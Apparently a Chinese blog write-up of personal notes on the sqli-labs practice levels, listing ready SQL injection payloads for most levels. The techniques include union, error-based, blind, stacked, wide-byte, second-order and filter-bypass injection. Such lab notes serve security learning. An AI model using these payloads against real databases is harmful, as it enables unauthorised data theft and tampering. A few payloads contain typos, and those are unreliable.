sqli-labs笔记

之前做题没有写笔记的习惯,以为是可以记住的,结果过一段时间完全陌生,(打脸来的太快)又要重新做,很浪费时间,效率也很低。emm ...还是写笔记吧(废话好多。。。)

less1--1'

输入1'

其后加注释1'-- #正常--------------->存在sql注入漏洞------------>union注入攻击或报错注入攻击

union注入:

1' order by 3-- #(只有当order by 3回显正确)

-1' union select 1,2,3-- #

注意id值为-1。

因为代码只返回第一条结果,所以把id值设置为数据库中没有的数据,才会返回union select的结果。

查数据库

-1' union select 1,database(),3-- #

查表

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- #

查users表的所有字段

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'-- #

查一个字段的所有数据

-1' union select 1,group_concat(username),3 from security.users-- #

ok,完了

报错注入攻击

查库

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #

查表

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where  table_schema='security'),0x7e),1)-- #

查users表字段

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)-- #

查一个字段的所有数据

1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)-- #

less2--1

和第一关(字符型注入)几乎一模一样,稍有不同的是第二关--数字型

注入类型分析

分别输入:
id=1   
id=1'
id=1"
若只有id=1'报错,则在分析是否存在括号及个数
 id=1' and 1=1-- #
 如果再次报错,则有括号,并以此增加括号个数直至回显正常
    

less3--1')

同第1关

less4--1")

同第1关

less5--1'

1'

所以可用报错注入

1'-- #

也可用Boolean盲注

报错注入

代码如下

查库:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #    
查表:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where  table_schema='security'),0x7e),1)-- # 
查字段:    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)-- #
查字段数据:1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)-- #

双查询注入

原理

有研究人员发现,当在一个聚合函数,如count()函数后面使用分组语句,就会把查询的一部分以错误形式显现出来。====>一个查询语句中再套一个查询语句,将有用的信息显示在sql报错中

四个函数:

rand() -->产生一个[0,1)之间的随机整数
floor() --->向下取整即取一个小于等于你输入的最大整数
count() ---->聚合函数
group by clause --->分组语句

payload

id union select 1,count(*),concat(0x7e,(子查询),(floor(rand(14)*2)),0x7e) as  a from *** group by a

测试

查库

 -1' union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e) as  a from information_schema.schemata group by a-- #

查表

-1' union select 1,count(*),concat(0x7e,(sele
    ct group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(14)*2),0x7e) as  a from information_schema.tables group by a-- #

查字段

-1' union select 1,count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(14)*2),0x7e) as a from information_schema.columns group by a-- #

查数据

-1' union select 1,count(*),concat(0x7e,(select username from security.users limit 0,1),floor(rand(14)*2),0x7e) as a from security.users group by a-- #

在查数据时,不能用group-concat()来聚合查询结果,否则不会报错

less6--1"

和less5一样,可以用报错,双查询

less7--1'))

1'))-- #

提示导入到文件

注意一点哈,别重复导入到同一个文件里就行

payload:

查库

-1')) union select 1,database(),3 into outfile "D://1.txt"-- #

查表

-1')) union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "D://3.txt"-- #

查字段

-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "D://3.txt"-- #

查数据

-1')) union select 1,2,group_concat(username) from security.users into outfile "D://4.txt"-- #

less8--1'

页面只有两种回显-->Boolean盲注或时间盲注

Boolean盲注--穷举试错

注入语句后,不返回查询的结果,只返回查询是否成功。即:只返回查询语句的布尔值


步骤:


1.爆库名长度  2.由库名长度爆库名  3.对当前库爆表数量  4.由库名和表数量爆表名长度
5. 由表名长度爆表名     6.对表爆列数量    7.由表名和列数量爆列明长度
8.有列明长度爆列名     9.由列名爆数据


手工注入

时间盲注:没有回显和任何错误信息

判断错误类型

1 and sleep(5)-- #
1' and sleep(5)-- #
1" and sleep(5)-- #

手工注入

payload

1' and if(length(database())>3,sleep(3),1)-- #
1' and if(substr(database(),1,1)='e',1,1)-- #   

剩下的大家自己慢慢测叭

脚本

less9

典型的时间盲注,但无法确定注入类型 1' 或者1))'

less10

典型的时间盲注,但无法确定注入类型 1" 或者1))"

less11--1'

post传参,确定注入类型为字符型单引号:1'

尝试用万能密码:1' or 1=1-- # 显示登陆成功

综上可得:union注入或报错注入

union注入

Dumb' order by 3-- #

Dumb' order by 2-- #

无报错

-1' union select 1,2-- #(其实1也可以,数据库里无法查到密码为1的数据)

-1' union select 1,database(),3-- #
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- #
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- #
-1' union select 1,group_concat(username) from security.users-- #

报错注入

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where  table_schema='security'),0x7e),1)-- #
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)-- #
1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)-- #    

less12--1")

确定注入类型为字符型双引号:1"

之后和11关一样

less13--1')

确定注入类型为字符型单引号:1')

之后和11关一样,但只能用报错

less14--1"

确定注入类型为字符型单引号:1"

之后和11关一样,但只能用报错

less15--

Boolean盲注或时间注入

无法确定注入类型 1' 或者1))'

less16--1")

Boolean盲注或时间注入

less17--1'

一进来提示密码重置

既然能密码重置则肯定知道用户名(试试admin),先试试万能密码把

成功报错-->报错神功

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #
    1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where  table_schema='security'),0x7e),1)-- #
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)-- #
    1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)-- #

当然布尔盲注和时间注入也ok

less18--1'

已经分别测试过username,password结果都不报错,也不出现正确页面,推测password和username很可能处理了,在这两处不存在sql注入,再用admin登陆一下(对了,17关有密码重置,所以admin用户名密码被改了,点一下首页reset Database for labs 就会恢复)

出现User Agent请求头 ,用burp抓包,测试是否可以在此处进行注入

成功报错 --->报错注入 进行注释发现不ok,觉着可能注释被处理了

'-- #

所以用语句就闭合 ‘ 吧

' or '1'='1

成功,然后就报错注入把

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where  table_schema='security'),0x7e),1) or '1'='1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) or '1'='1
1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) or '1'='1

less19--1'

提示Referer请求头,用burp抓包测试

顺便说说

Referer:http拓展头部,记录当前请求页面的来源页面的地址,告诉服务器该网页是从哪个页面链接过来的

xff:记录用户真实的ip以及代理服务器的IP------可通过修改http拓展头部的xff来伪造请求的最终IP

1' 

1' or '1'='1                成功闭合

之后payload和18关一样

less20--1'

看标题应该是cookie出有注入点,所以直接用burp拦截测试注入类型进行攻击即可,但要注意:

cookie是在登陆后生成,因此用burp在登陆成功后拦截

之后payload和18关一样

less21--1')

登陆成功后仍提示cookie注入,只不过和20关较为不同的是cookie值用base64加密,但实际也一样哈,burp抓包,然后把测试语句base64加密赋给cookie中的usname即可

之后payload和18关一样(要根据注入类型的不同适当变化哦!!!或者直接在后边用注释来替代 or 1=1)

less22-1"

和21关一样,只是注入类型变为双引号

less23-1'

get传参,输入 1' 确定注入类型为字符型单引号

用注释,但发现任然报错,猜测注释被过滤了那就用语句闭合字符

1' or '1'='1
或
1' and '1'='1

然后就可以union联合攻击,报错攻击

union

用order by 判断字段数

发现回显居然正常!!!什么原因呢?

看网上博客说:是MySQL解析顺序不同导致的----MySQL执行顺序where远在order by前边

在第一关时,猜测查询语句

select * from table_name where id='$id' limit 0,1

此时使用order by语句,整个语句的执行顺序:

id=1'作为where的条件先被执行得到结果集,然后再执行order by语句 ,因为结果集中有三个字段所以回显正确

第23关时,猜测查询语句

select * from table_name where id='$id' limit 0,1

整个语句的执行顺序:

order by在where执行时被忽略了,并且生成结果集后并未在执行order by 语句 从而导致出现上图情况,因此只能用union select查询字段数

之后就自行进行注入叭~~~

报错

emm。。。和18关payload一样(别说我太懒)

less24

补充个知识点哈

二次注入

原理

攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL语句导致的注入

步骤

1.插入恶意数据:

进入数据库插入数据时对其中的特殊字符进行了转义,但在写如数据库时,又保留了原来的数据

2.引用恶以数据:

开发者认为存进数据库中的数据都是安全的,所以直接引用数据库中的数据,没有进行进一步的检验和处理

图中显示可以更改密码,由此猜测更改密码的SQL语句为:

update users set password='' where username='$username' and password='$password'

由此创建新用户admin'-- #:密码:123456

登陆成功后会显示如下界面,显示更改密码 就改成 123---此时的更新语句为

update users set password='123' where username='admin'-- #' and password='$password'

' and password='$password'被注释了,current password那个框可以不填,此时更新的是admin用户的密码

然后返回登录界面:输入admin 密码是123 显示登陆成功

less25--1'

由图过滤了and 和or 双写绕过就行,union攻击或报错攻击

less25a--数字型注入:1

一开始一直在尝试各种字符型注入结果一直是错误页面,然后就有点迷,结果最后是数字型注入,感觉有点顾此失彼(有被自己傻到),大家不要因为数字类型出现次数少就忘了她~~~

其余都和25关一样

less26

这一关真的过滤了挺多,经过测试发现过滤了" 空格,and,or,注释(单行--/#+多行/**/)"

用 1' 测试,出现报错,然后接着注释发现注释被过滤

那就直接用语句闭合 : *or :|| ,and :&& **空格用各种括号代替吧

用union和报错

(我是windows平台,无法使用一些特殊字符代替空格,是apache的解析问题 大家可以在Linux平台搭建sqli-labs 就不记录union注入过程了,提到这儿我就不得不说一句了,我lamp环境也搭建好了,db-creds.inc文件也与自己设置的内容一致,但就是访问首页的reset Database for labs出错 想哭····)

报错

1'|| upsatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

1'|| updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where%20 (table_schema='security')),0x7e),1) || '1'='1

1'|| updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoOrrmation_schema.columns)where(table_schema=database())aanDnD(table_name='users')),0x7e),1)||'1'='1

`

1'|| updatexml(1,concat(0x7e,(select(group_concat(username))from(security.users)),0x7e),1) || '1'='1

总结下过过滤空格时如何绕过:

1./**/ 2.回车%0a 3.两个空格 4.() 5. ` (tab上面按键) 6.tab:%09

less26a--1'

不能用报错注入,只能union注入,等我在Linux下搭建好sqli-labs时再回来闯关叭(wsfw呜呜呜呜)

less27--1'

可用union和报错

报错

此关过滤select,union--->大小写绕过即可;空格-->()/%0a

1'%0Aor%0Aupdatexml(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where%20 (table_schema='security')),0x7e),1)%0Aor%0A'1'='11'%0Aor%0Aupdatexml(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where%20 (table_schema='security')),0x7e),1)%0Aor%0A'1'='1

union

999'%0AUNIon%0ASELect%0A1,(SELect%0Agroup_concat(username)from%0Asecurity.users),3||'1'='1

less27a--1"

和27一样

less28--1')

原本输入 1' 报错,之后用语句将其闭合返回正常页面,所以下意识把 1' 这种当作注入类型,结果好嘛在union注入时一直在报错,也是纳闷儿了,最后猜测很可能是注入类型没有确定准确

是 1') 哦

然后进行union注入:

空格就用%0a代替,页面提示 select 和union属于他 先试试大小写,双写或者他们的组合叭

991') %0AuniuniONon%0AselSELectect%0A1,database(),3 %0A or %0A('1')=('1

可以看到成功报错 猜测可能当union 和 select写在一起时会全部进行过滤

991') %0AunionuniON%0Aselect%0Aselect%0A1,database(),3 %0A or %0A('1')=('1

less28a--1')

同28

less29--1'

这个一开始没想到是考双服务器这个点儿(29到31都是这个),我直接用union注入,结果和第一关一样

言归正传:

该环境下客户端访问服务器时服务器分为两个部分:

tomcat / jsp + apache / php

服务器之所以分为两部分在我来看应该是和HTTP协议允许同名参数多次出现有关吧

比如?id=1&id=2

对于上述环境搭建的话,客户端请求首先被tomcat接收,tomcat解析参数id=1,然后将在请求apache,apache再去解析id=2,最后会返回给客户端id=2(实际是apache提供服务)

由此还牵扯一个HTTP参数污染漏洞:

对于HTTP协议允许同名参数多次出现情况,不同服务器会解析为不同的结果(有的服务器会取第一个参数,有的取最后一个,有的直接两个都取)。这个漏洞还可以绕过某些防火墙对SQL的注入。例如:如果waf只检测了同名参数中的第一个或最后一个,则可选择同名参数的其他位置进行注入

再说说tomcat和apache,jsp的关系:

apache是一个web服务器环境程序,启用可以将其作为web服务器使用,只支持静态网页。

若要运行动态网页如 jsp 就需要一个一个解释其来执行 jsp 网页,解释器就是tomcat

现在正式进行注入 :

页面提示有waf,那就轮流测试那个参数可用,发现是第二个可以进行注入

?id=1&id=1'-- #

然后自行进行union注入或报错注入就行

less30--1"

测定出注入类型为 1" ,然后自行进行union注入或报错注入就行

less31-1")

测定出注入类型为 1") ,然后自行进行union注入或报错注入就行

less32--1'

(32-37都为宽字节注入)

有些人表面儿看着人模狗样,实际上 哼哼哼 真真长见识了

看到页面回显猜测宽字节注入

大致原理:

MySQL使用GBK编码,会认为两个字符是一个字节,GBK占2个字节,我们在进行注入时通常会使用特殊字符如 ' ,因此在抵御SQL注入时,通常会过滤特殊字符或是使用函数将特殊字符转化为实体(也就是将特殊字符进行转义),通常使用 / 来进行转义,我们可以在其前加入 %df 与%5c('/ ')构成汉字“運”,此时会转义失败,就可以继续进行注入。

-1%df' union select 1,2,database()-- #
-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)-- #
-1%df' union select 1,2,group_concat(username) from security.users-- #

less33--1'

好像和32一模一样,32的payload都能用

less34--1'

POST传参,burp抓包进行注入

less35--数字型注入-->1

和32payload一样,报错和union都能用

这个是报错的

1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)

less36--1'

好像和32一模一样,32的payload都能用

less37--1'

post传参,看33关(好像和33一模一样)

less38--1'

题目提示堆叠注入,那就先了解了解堆注入叭

堆叠注入

利用数据库中多语句以分号(;)分隔这个特点,在第二个SQL语句中构造自己要执行的语句,可以进行增删改查等操作。简单来说,就是结束一个SQL语句后继续构造下一条语句。

与union/union all区别:

union/union all在执行语句类型有限,只可查询语句;而堆叠注入可以执行任意语句(感觉堆叠注入很神奇,自然使用他所具备的条件也是很苛刻的,API、数据库引擎权限不足都会限制堆叠注入)

现在进行注入:

首先确定注入类型为单引号 1',看看未注入前users表的内容

向users表插入数据

1';insert into users values(99,'hhhh','dddd')-- #

再更改刚刚插进去的数据

1';update users set password ='ooooooooo' where id=99-- #

再删除刚刚的数据

1';delete from users where id=99 -- #

less39--数字-->1

less40--1')

less41--数字-->1

其他和38一样

less42--1'

这个页面和24管有点儿像哈,但是这次不能再创建新用户和忘记密码了

现在username框用用万能密码注入,结果出现错误页面,猜测可能不存在注入

password用万能密码1' or 1=1-- #成功登录---->此处存在注入

报错:

1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#

堆叠注:

1';insert into users values(90,'zyx','hhhh')-- #

less43--1')

1') or ('1')=('1

之后同42关

less44--1'

这一关没有报错,所以应构造永真条件,根据返回图片不同来确定是否符合查询语句的闭合条件

1' or 1=1-- #
1';insert into users values(20,'kk','jj')-- #

less45--1')

1') or 1=1-- #
1');insert into users values(56,'po','ou')-- #

less46--数字型注入-->3

题目提示将sort作为参数。

尝试sort=1 asc和sort=1 desc,分别显示升序和降序的表格(SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列),说明此处是注入点,即注入点在order by后的参数中,而order by不同于在where后的注入,不能使用union等进行注入。分别将1,2,3赋值给sort可以发现回显的表会分别以 ID、USERNAME 、 PASSWORD进行排序。

随机选一个进行注入,由页面回显可用报错注入

3 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
3 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
3 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)
3 and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)

也可用bool盲注,时间盲注

less47--3'

用报错,看46

less48

没有错误回显,不能用报错,只能盲注(听说还能用文件上传漏洞,等有时间再好好学学一句话木马再来用这个注入叭)

less49--1'

盲注

less50--数字-->1

报错1 and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)
堆叠:1;insert into users values(20,'dddd','hhhh')

还可用延时注入

less51--1'

报错:1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)-- #
堆叠:    1';insert into users values(21,'kkkk','zzzzzz')-- #

less52--数字-->1

试过各种如1'-- #,1"-- #结果都报错时,则很可能是数字型注入,虽然 1 and 1=2不出现正确页面,但要注意,可能出现1)

堆叠:

1;insert into users values(30,'fff','ppp')

时间:

less53--1'

还是堆叠,时间

less54--1'

由此开始challenge

-1' union select 1,database(),3-- #

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- #

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='d4ivcc1goo'-- #

-1' union select 1,group_concat(secret_3DXK),3 from challenges.d4ivcc1goo-- #

less55--数字-->1)

less56--1')

less57--1"

和54管一样

less58--1'

这一关可以union 和 报错

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #

less59--数字-->1)

less60--1")

less61--1'))

同58

less62--1')

-1') union select 1,database(),3-- #

输入上述代码发现页面不回显,可以使用盲注或文件导出

文件导出

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile "D://1.txt"-- #

盲注

less63--1'

less64--数字型-->1))

less65--1")

和62一样

less66

没66了!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值